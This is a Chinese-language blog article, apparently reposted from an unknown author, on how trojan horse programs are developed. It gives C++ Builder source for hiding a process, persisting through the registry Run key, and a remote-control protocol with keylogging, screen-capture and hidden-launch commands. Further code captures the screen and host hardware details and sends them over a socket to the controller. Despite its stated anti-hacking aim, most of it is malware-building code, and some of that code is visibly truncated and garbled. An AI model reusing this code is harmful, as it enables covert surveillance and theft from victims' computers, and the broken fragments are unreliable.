2007年1月31日星期三

透视木马程序开发技术

  作者 <不详>

关键字 木马程序
原作者姓名 <不详>

读者评分 7 评分次数 2

正文
近年来,黑客技术不断成熟起来,对网络安全造成了极大的威胁,黑客的主要攻击手段
之一,就是使用木马技术,渗透到对方的主机系统里,从而实现对远程操作目标主机。
其破坏力之大,是绝不容忽视的,黑客到底是如何制造了这种种具有破坏力的木马程序
呢,下面我对木马进行源代码级的详细的分析,让我们对木马的开发技术做一次彻底的
透视,从了解木马技术开始,更加安全的管理好自己的计算机。

1.简单说说木马程序的分类

木马程序技术发展至今,已经经历了4代,第一代,即是简单的密码窃取,发送等,没
有什么特别之处。第二代木马,在技术上有了很大的进步,冰河可以说为是国内木马的
典型代表之一。第三代木马在数据传递技术上,又做了不小的改进,出现了ICMP等类型
的木马,利用畸形报文传递数据,增加了查杀的难度。第四代木马在进程隐藏方面,做
了大的改动,采用了内核插入式的嵌入方式,利用远程插入线程技术,嵌入DLL线程。
或者挂接PSAPI,实现木马程序的隐藏,甚至在Windows NT/2000下,都达到了良好的隐
藏效果。相信,第五代木马很快也会被编制出来。关于更详细的说明,可以参考 Shot
Gun的文章。《揭开木马的神秘面纱》(出自 http://www.patching.net)

2.木马程序的隐藏技术

木马程序的服务器端,为了避免被发现,多数都要进行隐藏处理,下面让我们来看看木
马是如何实现隐藏的。

说到隐藏,首先得先了解三个相关的概念:进程,线程和服务。我简单的解释一下。

  进程:一个正常的Windows应用程序,在运行之后,都会在系统之中产生一个进程
,同时,每个进程,分别对应了一个不同的PID(Progress ID, 进程标识符)这个进程
会被系统分配一个虚拟的内存空间地址段,一切相关的程序操作,都会在这个虚拟的空
间中进行。

线程:一个进程,可以存在一个或多个线程,线程之间同步执行多种操作,一般地,线
程之间是相互独立的,当一个线程发生错误的时候,并不一定会导致整个进程的崩溃。

  服务:一个进程当以服务的方式工作的时候,它将会在后台工作,不会出现在任务
列表中,但是,在Windows NT/2000下,你仍然可以通过服务管理器检查任何的服务程
序是否被启动运行。

  想要隐藏木马的服务器端,可以伪隐藏,也可以是真隐藏。伪隐藏,就是指程序的
进程仍然存在,只不过是让他消失在进程列表里。真隐藏则是让程序彻底的消失,不以
一个进程或者服务的方式工作。

伪隐藏的方法,是比较容易实现的,只要把木马服务器端的程序注册为一个服务就可以
了,这样,程序就会从任务列表中消失了,因为系统不认为他是一个进程,当按下Ctrl
+Alt+Delete的时候,也就看不到这个程序。但是,这种方法只适用于Windows9x的系统
,对于Windows NT,Windows 2000等,通过服务管理器,一样会发现你在系统中注册过
的服务。难道伪隐藏的方法就真的不能用在Windows NT/2000下了吗?当然还有办法,
那就是API的拦截技术,通过建立一个后台的系统钩子,拦截PSAPI的EnumProcessModules
等相关的函数来实现对进程和服务的遍历调用的控制,当检测到进程ID(PID)为木马
程序的服务器端进程的时候直接跳过,这样就实现了进程的隐藏,金山词霸等软件,就
是使用了类似的方法,拦截了TextOutA,TextOutW函数,来截获屏幕输出,实现即时翻译
的。同样,这种方法也可以用在进程隐藏上。

当进程为真隐藏的时候,那么这个木马的服务器部分程序运行之后,就不应该具备一般
进程,也不应该具备服务的,也就是说,完全的溶进了系统的内核。也许你会觉得奇怪
,刚刚不是说一个应用程序运行之后,一定会产生一个进程吗?的确,所以我们可以不
把他做成一个应用程序,而把他做为一个线程,一个其他应用程序的线程,把自身注入
其他应用程序的地址空间。而这个应用程序对于系统来说,是一个绝对安全的程序,这
样,就达到了彻底隐藏的效果,这样的结果,导致了查杀黑客程序难度的增加。

出于安全考虑,我只给出一种通过注册服务程序,实现进程伪隐藏的方法,对于更复杂
,高级的隐藏方法,比如远程线程插入其他进程的方法,请参阅 ShotGun的文章。《NT
系统下木马进程的隐藏与检测》(出自 http://www.patching.net)



WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)

{

    try

    {

    DWORD dwVersion = GetVersion();   //取得Windows的版本号
        if (dwVersion >= 0x80000000)   // Windows 9x隐藏任务列表
        {
           int (CALLBACK *rsp)(DWORD,DWORD);
          HINSTANCE dll=LoadLibrary("KERNEL32.DLL");//装入KERNEL32.DLL
          rsp=(int(CALLBACK *)(DWORD,DWORD))GetProcAddress
(dll,"RegisterServiceProcess");
//找到RegisterServiceProcess的入口
          rsp(NULL,1);   //注册服务
          FreeLibrary(dll);   //释放DLL模块
        }
    }
    catch (Exception &exception)   //处理异常事件
    {

//处理异常事件

    }
    return 0;
}



3.程序的自加载运行技术

  让程序自运行的方法比较多,除了最常见的方法:加载程序到启动组,写程序启

动路径到注册表的HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersions

Run的方法外,还有很多其他的办法,据yagami讲,还有几十种方法之多,比如可以

修改Boot.ini,或者通过注册表里的输入法键值直接挂接启动,通过修改Explorer.

exe启动参数等等的方法,真的可以说是防不胜防,下面展示一段通过修改
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionsRun键值来实

现自启动的程序:

自装载部分:

HKEY hkey;
AnsiString NewProgramName=AnsiString(sys)+AnsiString("\")+PName;
unsigned long k;
k=REG_OPENED_EXISTING_KEY;
RegCreateKeyEx(HKEY_LOCAL_MACHINE,

"SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\",

0L,

NULL,

REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS|KEY_SET_VALUE,

NULL,

&hkey,&k);

RegSetValueEx(hkey,

"BackGroup",

0,

REG_SZ,

NewProgramName.c_str(),

NewProgramName.Length());

RegCloseKey(hkey);
if (int(ShellExecute(Handle,

"open",

NewProgramName.c_str(),

NULL,

NULL,

SW_HIDE))>32)

{
WantClose=true;
        Close();

}

else

{
    HKEY hkey;
    unsigned long k;
    k=REG_OPENED_EXISTING_KEY;
    long a=RegCreateKeyEx(HKEY_LOCAL_MACHINE,

"SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN",

0,

NULL,

REG_OPTION_NON_VOLATILE,

KEY_SET_VALUE,NULL,

&hkey,&k);
RegSetValueEx(hkey,

"BackGroup",

0,

REG_SZ,

ProgramName.c_str(),

ProgramName.Length());
int num=0;
char str[20];
DWORD lth=20;
DWORD type;
char strv[255];
DWORD vl=254;

DWORD Suc;
do{

Suc=RegEnumValue(HKEY_LOCAL_MACHINE,

(DWORD)num,str,

<h,

NULL,

&type,

strv,&vl);
  if (strcmp(str,"BGroup")==0)

{
        DeleteFile(AnsiString(strv));
        RegDeleteValue(HKEY_LOCAL_MACHINE,"BGroup");
        break;
  }



}while(Suc== ERROR_SUCCESS);

RegCloseKey(hkey);
}



自装载程序的卸载代码:

int num;
char str2[20];
DWORD lth=20;
DWORD type;
char strv[255];
DWORD vl=254;

DWORD Suc;

do{
    Suc=RegEnumValue(HKEY_LOCAL_MACHINE,

(DWORD)num,

str,

<h,

NULL,

&type,

strv,

&vl);
      if (strcmp(str,"BGroup")==0)

{
            DeleteFile(AnsiString(strv));
            RegDeleteValue(HKEY_LOCAL_MACHINE,"BGroup");
            break;
      }

}while(Suc== ERROR_SUCCESS)
HKEY hkey;
unsigned long k;
k=REG_OPENED_EXISTING_KEY;
RegCreateKeyEx(HKEY_LOCAL_MACHINE,

"SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN",

0,

NULL,

REG_OPTION_NON_VOLATILE,

KEY_SET_VALUE,NULL,

&hkey,

&k);
do{

    Suc=RegEnumValue(hkey,(DWORD)num,str,<h,NULL,&type,strv,&vl);
    if (strcmp(str,"BackGroup")==0)

{
        DeleteFile(AnsiString(strv));
        RegDeleteValue(HKEY_LOCAL_MACHINE,"BackGroup");
        break;

}
}while(Suc== ERROR_SUCCESS)
RegCloseKey(hkey);



其中自装载部分使用C++ Builder可以这样写,会比较简化:

TRegistry & regKey = *new TRegistry();
regKey.RootKey=HKEY_LOCAL_MACHINE;
regKey.OpenKey("Software\Microsoft\Windows\CurrentVersion\Run",true);
if(!regKey.ValueExists("Interbase Server"))
{
regKey.WriteString("Interbase Server",
"D:\Program Files\Borland\IntrBase\BIN\ibserver.exe");
}
regKey.CloseKey();
delete &#174;Key;



4.木马程序的建立连接的隐藏

  木马程序的数据传递方法有很多种,其中最常见的要属TCP,UDP传输数据的方法
了,通常是利用Winsock与目标机的指定端口建立起连接,使用send和recv等API进
行数据的传递,但是由于这种方法的隐蔽性比较差,往往容易被一些工具软件查看
到,最简单的,比如在命令行状态下使用netstat命令,就可以查看到当前的活动TCP
,UDP连接。

C:Documents and Settingsigball>netstat -n



Active Connections



 Proto Local Address      Foreign Address    State

 TCP   192.0.0.9:1032     64.4.13.48:1863     ESTABLISHED

 TCP   192.0.0.9:1112     61.141.212.95:80    ESTABLISHED

 TCP   192.0.0.9:1135     202.130.239.223:80   ESTABLISHED

 TCP   192.0.0.9:1142     202.130.239.223:80   ESTABLISHED

 TCP   192.0.0.9:1162     192.0.0.8:139      TIME_WAIT

 TCP   192.0.0.9:1169     202.130.239.159:80   ESTABLISHED

 TCP   192.0.0.9:1170     202.130.239.133:80   TIME_WAIT



C:Documents and Settingsigball>netstat -a



Active Connections



 Proto Local Address      Foreign Address    State

 TCP   Liumy:echo       Liumy:0         LISTENING

 TCP   Liumy:discard      Liumy:0         LISTENING

 TCP   Liumy:daytime      Liumy:0         LISTENING

 TCP   Liumy:qotd       Liumy:0         LISTENING

 TCP   Liumy:chargen      Liumy:0         LISTENING

 TCP   Liumy:epmap       Liumy:0         LISTENING

 TCP   Liumy:microsoft-ds   Liumy:0         LISTENING

 TCP   Liumy:1025       Liumy:0         LISTENING

 TCP   Liumy:1026       Liumy:0         LISTENING

 TCP   Liumy:1031       Liumy:0         LISTENING

 TCP   Liumy:1032       Liumy:0         LISTENING

 TCP   Liumy:1112       Liumy:0         LISTENING

 TCP   Liumy:1135       Liumy:0         LISTENING

 TCP   Liumy:1142       Liumy:0         LISTENING

 TCP   Liumy:1801       Liumy:0         LISTENING

 TCP   Liumy:3372       Liumy:0         LISTENING

 TCP   Liumy:3389       Liumy:0         LISTENING

 TCP   Liumy:netbios-ssn    Liumy:0         LISTENING

 TCP   Liumy:1028       Liumy:0         LISTENING

 TCP   Liumy:1032       msgr-ns19.msgr.hotmail.com:1863 ESTAB

 TCP   Liumy:1112       szptt61.141.szptt.net.cn:http ESTABLI

 TCP   Liumy:1135       202.130.239.223:http  ESTABLISHED

 TCP   Liumy:1142       202.130.239.223:http   ESTABLISHED

 TCP   Liumy:1162       W3I:netbios-ssn     TIME_WAIT

 TCP   Liumy:1170       202.130.239.133:http  TIME_WAIT

 TCP   Liumy:2103       Liumy:0         LISTENING

 TCP   Liumy:2105       Liumy:0         LISTENING

 TCP   Liumy:2107       Liumy:0         LISTENING

 UDP   Liumy:echo       *:*

 UDP   Liumy:discard      *:*

 UDP   Liumy:daytime      *:*

 UDP   Liumy:qotd       *:*

 UDP   Liumy:chargen      *:*

 UDP   Liumy:epmap       *:*

 UDP   Liumy:snmp       *:*

 UDP   Liumy:microsoft-ds   *:*

 UDP   Liumy:1027       *:*

 UDP   Liumy:1029       *:*

 UDP   Liumy:3527       *:*

 UDP   Liumy:4000       *:*

 UDP   Liumy:4001       *:*

 UDP   Liumy:1033       *:*

 UDP   Liumy:1148       *:*

 UDP   Liumy:netbios-ns    *:*

 UDP   Liumy:netbios-dgm   *:*

 UDP   Liumy:isakmp      *:*

  但是,黑客还是用种种手段躲避了这种侦察,就我所知的方法大概有两种,一种
是合并端口法,也就是说,使用特殊的手段,在一个端口上同时绑定两个TCP或者UDP
连接,这听起来不可思议,但事实上确实如此,而且已经出现了使用类似方法的程序
,通过把自己的木马端口绑定于特定的服务端口之上,(比如80端口的HTTP,谁怀
疑他会是木马程序呢?)从而达到隐藏端口的目地。另外一种办法,是使用ICMP(In
ternet Control Message Protocol)协议进行数据的发送,原理是修改ICMP头的构造
,加入木马的控制字段,这样的木马,具备很多新的特点,不占用端口的特点,使用
户难以发觉,同时,使用ICMP可以穿透一些防火墙,从而增加了防范的难度。之所以
具有这种特点,是因为ICMP不同于TCP,UDP,ICMP工作于网络的应用层不使用TCP协议
。关于网络层次的结构,下面给出图示:



网络层次结构图



5.发送数据的组织方法

  关于数据的组织方法,可以说是数学上的问题。关键在于传递数据的可靠性,压
缩性,以及高效行。木马程序,为了避免被发现,必须很好的控制数据传输量,一个
编制较好的木马,往往有自己的一套传输协议,那么程序上,到底是如何组织实现的
呢?下面,我举例包装一些协议:



typedef struct{    //定义消息结构

//char ip[20];

char Type;  //消息种类

char Password[20];  //密码

int CNum;      //消息操作号

//int Length;  //消息长度

}Msg;

#define MsgLen sizeof(Msg)

//-------------------------------------------

//对话框数据包定义:Dlg_Msg_Type.h

//-------------------------------------------

//定义如下消息类型:

#define MsgDlgCommon 4//连接事件

#define MsgDlgSend 5//发送完成事件

//消息结构

typedef struct{

    char Name[20];//对话框标题

    char Msg[256];//对话框消息内容

}MsgDlgUint;

#define MsgDlgLen sizeof(MsgDlgUint)//消息单元长度



//------------------------------------------

//聊天数据包定义:Chat_Msg_Type.h

//------------------------------------------

//定义如下消息类型:

#define MsgChatCommon 0//连接事件

#define MsgChatConnect 1//接入事件

#define MsgChatEscept 2//结束事件

#define MsgChatReceived 16//确认对话内容收到

//消息结构

typedef struct{

    char ClientName[20];//Client自定义的名称

    char Msg[256];//发送的消息

}MsgChatUint;

#define MsgChatLen sizeof(MsgChatUint)//消息单元长度



//------------------------------------------

//重启数据包定义:Reboot_Msg_Type.h

//------------------------------------------

//定义如下消息类型:

#define MsgReBoot 15//重启事件



//------------------------------------------

//目录结构请求数据包定义:Dir_Msg_Type.h

//------------------------------------------

//定义如下消息类型:

#define MsgGetDirInfo 17

#define MsgReceiveGetDirInfo 18

typedef struct{

char Dir[4096];//你要的目录名

}MsgDirUint;

#define MsgDirUintLen sizeof(MsgDirUint)



// TCP的Msg

typedef struct{    //定义消息结构

char SType;  //消息种类

char SPassword[20];  //密码

//int SNum;       //消息操作号

char *AllMsg;

}SMsg;

#define SMsgLen sizeof(SMsg)



#define MSGListProgram 19

#define MSGFlyMouse 21

#define MSGGoWithMouse 22

#define MSGSaveKey 23

#define MSGTracekey 24

#define MsgCopyScreen 25//tcp接收消息,udp请求消息

#define MSGCopyWindow 26



//-------------------------

//鼠标指针隐藏和显示控制

//-------------------------

#define MsgSetMouseStat 27//设置消息

#define MsgMouseStat 28//成功消息

typedef struct{

bool mouseshow;

}MsgSetMouseStatUint;

#define MsgSetMouseStatUintLen sizeof(MsgSetMouseStatUint)



//-------------------------

//任务栏隐藏和显示控制

//-------------------------

#define MsgSetTaskBarStat 29//设置消息

#define MsgTaskBarStat 30//成功消息

typedef struct{

bool taskshow;

}MsgSetTaskBarStatUint;

#define MsgSetTaskBarStatUintLen sizeof(MsgSetTaskBarStatUint)



//-------------------------

//得到机器名

//-------------------------

#define MsgGetNetBiosName 31//取请求

#define MsgNetBiosName 32//回送机器名

typedef struct{

char NetBiosName[128];

}MsgNetBiosNameUint;

#define MsgNetBiosNameUintLen sizeof(MsgNetBiosNameUint)



//-------------------------

//关闭进程变更!

//-------------------------

#define MsgSetProgramClose 33//关闭请求

#define MsgProgramClosed 34//成功消息-----

typedef struct{

char ProgramName[4096];//old struct : char ProgramName[128];//要关闭的窗口的名字

}MsgSetProgramCloseUint;

#define MsgSetProgramCloseUintLen sizeof(MsgSetProgramCloseUint)



//-------------------------

//打开进程变更!

//-------------------------

#define MsgSetProgramOpen 20//打开请求

#define MsgProgramOpened 36//成功消息

typedef struct{

char ProgramName[4096];    //old struct : char ProgramName[128];//要打开
的程序的名字

bool ProgramShow;//前台运行或后台运行程序(隐藏运行)

}MsgSetProgramOpenUint;

#define MsgSetProgramOpenUintLen sizeof(MsgSetProgramOpenUint)



#define MsgGetHardWare 35//请求硬件信息(UDP消息)和回传硬件信息(TCP消息)



上面一段定义,使用了TCP和UDP两种协议目的就是为了减少TCP连接的几率,这样所消耗
的系统资源就会比较少,不容易让目标机察觉。很多木马程序中,都有像上面定义中类
似的密码定义,目地是为了防止非真实客户机的连接请求。SNum       为消息操
作号,它的作用是为了效验数据是否是发送过的,经过分析而知,我们熟悉的OICQ也正
是使用了这一办法来校验消息的。

  数据协议组织好,还有一步工作,就是数据的打包发送,一般的方法是把全部数据
压为一个VOID类型的数据流,然后发送:

Msg *msg=new Msg;

TMemoryStream *RData=new TMemoryStream;

NMUDP1->ReadStream(RData);

RData->Read(msg,sizeof(Msg));

UdpConnect *udpconnect=new UdpConnect;

NetBiosName *netbiosname=new NetBiosName;

if(msg->CNum==CNumBak)

return;

else{

CNumBak=msg->CNum;

switch(msg->Type)

{

case 0://MsgUdpConnect

RData->Read(udpconnect,sizeof(UdpConnect));

checkuser(udpconnect->IsRight);

break;

case 1:

RData->Read(netbiosname,sizeof(NetBiosName));

AnsiString jqm="机器名 ";

jqm+=(AnsiString)netbiosname->NetBiosName;

Memo2->Lines->Add(jqm);

break;

}

}



当服务器端收到数据后,首先要做的工作是解包还原VOID流为结构化的协议,这里同样
给出事例代码:



NMUDP1->RemoteHost=FromIP;

NMUDP1->RemotePort=Port;

TMemoryStream *RData=new TMemoryStream;

NMUDP1->ReadStream(RData);

Msg *msg=new Msg;

RData->Read(msg,sizeof(Msg));

if(msg->CNum==CNumBak)

return;

else

{

CNumBak=msg->CNum;

switch(msg->Type)

{

case 0:

checkuser(msg->Password);

break;

case 1:

GetNetBiosName();

break;

case 2:

CheckHard();

break;

}

}



此外,很多木马程序支持了屏幕回传的功能,其根本的原理是先捕获屏幕画面,然后
回传给客户机,由于画面的数据量很大所以,很多木马程序都是在画面改变的时候才
回传改变部分的画面,常用的手段是最小矩形法,下面以好有 古老传说的一段算法举例:



#define MAXXCount 10 //屏幕X方向最多分割块数
#define MAXYCount 5 //... Y................
#define DestNum 1000 //每块的偏移检测点最大个数
COLORREF Colors[MAXXCount][MAXYCount][DestNum];
COLORREF BakColors[MAXXCount]{MAXYCount][DestNum];
TPoint Dests[DestNum];
int Sw;
int Sh;
int xCount;
int yCount;
int ItemWidth;
int ItemHeight;
int Dnum;
int Qlity;
//得到消息后执行:
//另外:接收到的数据包中分析出 Dnum ,Qlity
//Dnum:偏移观测点数量
//Qlity:图象要求质量
__fastcall TForm1::CopyScreen(int DNum,int Qlity){
ItemWidth=Sw/xCount;
ItemHeight=Sh/yCount;
Sw=Screen->Width;
Sh=Screen->Height;
xCount=(Sw>1000)?8:6;
yCount=(Sh>1000)?3:2;
for (int num1=0;num1Width=Sw;
bm->Height=Sh;
BitBlt(bm->Canvas->Handle,0,0,Sw-1,Sh-1,dc,0,0);
int num1,num2,num3;
int nowx,nowy;
bool Change;
bool ItemChange[MAXXCount][MAXYCount];
for (num1=0;num1Canvas->Pixels[nowx+Dests[num3].x][nowy+Dests[num3].y];

if (Colors[num1][num2][num3]!=BakColors[num1][num2][num3]){
BakColors[num1][num2][num3]=Colors[num1][num2][num3];
ItemChange[num1][num2]=true;
}
}
}
}
int CNum,MaxCNum;
int ChangedNum=0;
TRect *Rect;
int num4;
int MinSize=10000;
int m;
TRect MinRect;
Graphics::TBitmap *bt2=new Graphics::TBitmap;
TJPEGImage *j=new TJPEGImage;
//************************
j->Quality=Qlity;
//************************
CopyScreenUint CopyScreen;
CopyScreenItemUint CopyScreenItem;
TMemoryStream *ms=new TMemoryStream;
ms->Write(&TcpMsg,sizeof(TcpMsgUint));
ms->Write(&CopyScreen,sizeof(CopyScreenUint));
do{
for (num1=0;num1MaxCNum) MaxCNum=CNum;
m=(num3-num1)*(num4-num2);
if (2*m-CNumCanvas->Handle,0,0,ItemWidth-1,ItemHeight-1,bt->Canvas->Handle,0,0);

j->Assign(bt2);
j->SaveToStream(ms2);
CopyScreenItem.Rect=TRect(num1,num2,num3,num4);
CopyScreenItem.FileType=JPEGFILE; //JPEGFILE 定义为:#define JPEGFILE 1
ms2->Position=0;
CopyScreenItem.Length=ms2- >Size;
ms->Write(&CopyScreenItem,sizeof(ScreenItemUint));
ms->CopyFrom(ms2,ms2->Size);
ChangedNum++;
}while(MaxCNum>0);
TcpMsg.Type=MsgCopyScreen;
ms->Position=0;
TcpMsg.Length=ms- >Size-sizeof(TcpMsgUint);
CopyScreen.Count=ChangedNum;
ms->Write(&TcpMsg,sizeof(TcpMsgUint));
ms->Write(&CopyScreen,sizeof(CopyScreenUInt));
ms->Position=0;
sock->SendStream(ms);
}

  这个程序把屏幕画面切分为了多个部分,并存储画面为JPG格式,这样压缩率就变
的十分的高了。通过这种方法压缩处理过的数据,变得十分小,甚至在屏幕没有改变的
情况下,传送的数据量为0,在这里不做过多分析了,有兴趣的朋友,可以多看看。



6.目标机器情况的获取

  相对于以上几部分来说,这里实现的方法简单多了,这一段内容会比较轻松,一般
获取机器情况的方法是调用相关的API,这一点上是和应用程序很相像的。

AnsiString cs;
FILE *fp;
fp=fopen("temp.had","w+");
    //TODO: Add your source code here
    //获得CPU型号
SYSTEM_INFO systeminfo;

GetSystemInfo (&systeminfo);

cs="CPU类型是:"+String( systeminfo.dwProcessorType)+"
";

fwrite(cs.c_str(),cs.Length(),1,fp);

MEMORYSTATUS memory;

memory.dwLength =sizeof(memory); //初始化

GlobalMemoryStatus(&memory);

cs="物理内存是(Mb):"+String(int( memory.dwTotalPhys /1024/1024))+"
";

fwrite(cs.c_str(),cs.Length(),1,fp);

cs="可用内存是(Kb):"+String(int( memory.dwAvailPhys/1024))+"
";

fwrite(cs.c_str(),cs.Length(),1,fp);

DWORD sector,byte,cluster,free;

long int freespace,totalspace;

UINT type;

char name;

//0―未知盘、1―不存在、2―可移动磁盘、3―固定磁盘、4―网络磁盘、

//5―CD-ROM、6―内存虚拟盘

char volname[255],filename[100];//buffer[512];

DWORD sno,maxl,fileflag ;

for (name='A';name<='Z';name++) {//循环检测A~Z

    type = GetDriveType(AnsiString(AnsiString(name)+':').c_str());
                                                         //获得磁盘类型
    if(type==0){
        cs="未知类型磁盘:"+String(name)+"
";
        fwrite(cs.c_str(),cs.Length(),1,fp);
        }
    else if(type==2){
        cs="可移动类型磁盘:"+String(name)+"
";
        fwrite(cs.c_str(),cs.Length(),1,fp);
        }
    else if(type==3){
        cs="固定磁盘:"+String(name)+"
";
        fwrite(cs.c_str(),cs.Length(),1,fp);
        }
    else if(type==4)    {
        cs="网络映射磁盘:"+String(name)+"
";
        fwrite(cs.c_str(),cs.Length(),1,fp);
        }
    else if (type==5)    {
        cs="光驱:"+String(name)+"
";


        fwrite(cs.c_str(),cs.Length(),1,fp);

        }

    else if (type==6)    {
        cs="内存虚拟磁盘:"+String(name)+"
";

        fwrite(cs.c_str(),cs.Length (),1,fp);

        }


    if(GetVolumeInformation((String(name)+String(':')).c_str(),
volname,255,&sno,&maxl,&fileflag,filename,100))    {

        cs=String(name)+"盘卷标为:"+String(volname)+"
";

        fwrite(cs.c_str(),cs.Length(),1,fp);

        cs=String(name)+"盘序号为:"+String(sno)+"
";

        fwrite(cs.c_str(),cs.Length(),1,fp);

        GetDiskFreeSpace((String(name)+String(':'
)).c_str(),§or,&byte,&free,&cluster); //获得返回参数

        totalspace=int(cluster)*byte*sector/1024/1024; //计算总容量

        freespace=int(free)*byte*sector/1024/1024; //计算可用空间

        cs=String(name)+String(':')+"盘总空间(Mb):"+AnsiString(totalspace)
+"
";

        fwrite(cs.c_str(),cs.Length(),1,fp);

        cs=String(name)+String(':')+"盘可用空间(Mb):"+AnsiString(freespace)
+"
";

        fwrite(cs.c_str(),cs.Length (),1,fp);

        }
    }
int wavedevice,mididevice;
WAVEOUTCAPS wavecap;
MIDIOUTCAPS midicap;
wavedevice=(int)waveOutGetNumDevs(); //波形设备信息
mididevice=(int)midiOutGetNumDevs(); // MIDI设备信息
if (wavedevice!=0){
    waveOutGetDevCaps(0,&wavecap,sizeof(WAVEOUTCAPS));
    cs="当前波形设备:"+String(wavecap.szPname)+"
";
    fwrite(cs.c_str(),cs.Length(),1,fp);
    }

if (mididevice!=0){

    midiOutGetDevCaps(0,&midicap,sizeof(MIDIOUTCAPS));

    cs="当前MIDI设备:"+String(midicap.szPname)+"
";

    fwrite(cs.c_str(),cs.Length(),1,fp);

    }

long double tcs;

long double tc;

long int bpp,cp;

cs="当前分辨率为:"+String(Screen->Width)+AnsiString("*")+ String(Screen->Height)+"
";

fwrite(cs.c_str(),cs.Length(),1,fp);

bpp=GetDeviceCaps(Canvas->Handle ,BITSPIXEL);

tcs=pow(2,bpp); //计算色彩的梯度数

cp= GetDeviceCaps(Form1->Canvas->Handle,PLANES);

tc= pow(double(tcs),double(cp)); //计算色深

AnsiString sss;

sss=bpp;

cs="当前色深为:"+sss+"
";

fwrite(cs.c_str(),cs.Length(),1,fp);

fclose(fp);

AnsiString FileName="temp.had";

char *buf;

TcpMsgUint Msg2;

strcpy(Msg2.TPassword,Password);

TMemoryStream *ms=new TMemoryStream;

ms->Clear();

if (!FileExists(FileName)) CheckHard();

TFileStream *fs=new TFileStream(FileName,fmOpenRead);

buf=new char[fs->Size+sizeof(TcpMsgUint)+1];

fs->Read(buf,fs->Size);

Msg2.Type=MsgGetHardWare;

Msg2.Length=fs->Size;

FileClose(fs->Handle);

ms->Write(&Msg2,sizeof(TcpMsgUint));

ms->Write(buf,Msg2.Length );

ms->Position=0;

delete []buf;

try{

    sock->SendStream(ms);

    }

catch(Exception&e) {

    }

}



  上面一段程序,基本上把相关的系统信息都取到了。

7.服务器端程序的包装与加密

  用过冰河的人都知道,冰河允许用户自定义端口号。这样做的目的,是为了防止被反
黑程序检测出来,这种功能是如何实现的呢?

  首先让我们来做一个实验:

进入Windows的命令行模式下做如下操作

1)C:>copy Server.Exe Server.Bak

2)建立一个文本文件Test.Txt,其内容为" http://www.patching.net"

3)C:>type Text.Txt>>Server.Exe

4)运行Server.Exe



怎么样?是不是发现Server.Exe仍然可以运行呢?木马服务器端自定制的奥秘就在这里:
首先生成了一个EXE文件,这个EXE文件里有一项读取自身进程内容的操作,读取时,文件
的指针直接指向进程的末尾,从末尾的倒数N个字节处取得用户定制的信息,比如端口号
等,然后传递给程序的相关部分进行处理。这里不给出相关的代码部分,有兴趣的朋友请
参考一些文件打包程序代码,它所使用的技术是大同小异的。



8.总结

  以上讲的几点技术,基本上包括了所有第二代木马的特点,个别的木马程序支持服务
器列表,宏传播等,实现上大同小异。随着技术的不断更新和发展,相信离第五代木马出
现的日子已经不远了,黑与反黑,如此往复的的进行下去,看来反黑工作要走的路还很长
,从根本上防止木马,也只有从我们自身对木马的认识开始,希望这篇文章在您阅读之后
能带给您一些反黑技术上的帮助。

正文完

没有评论: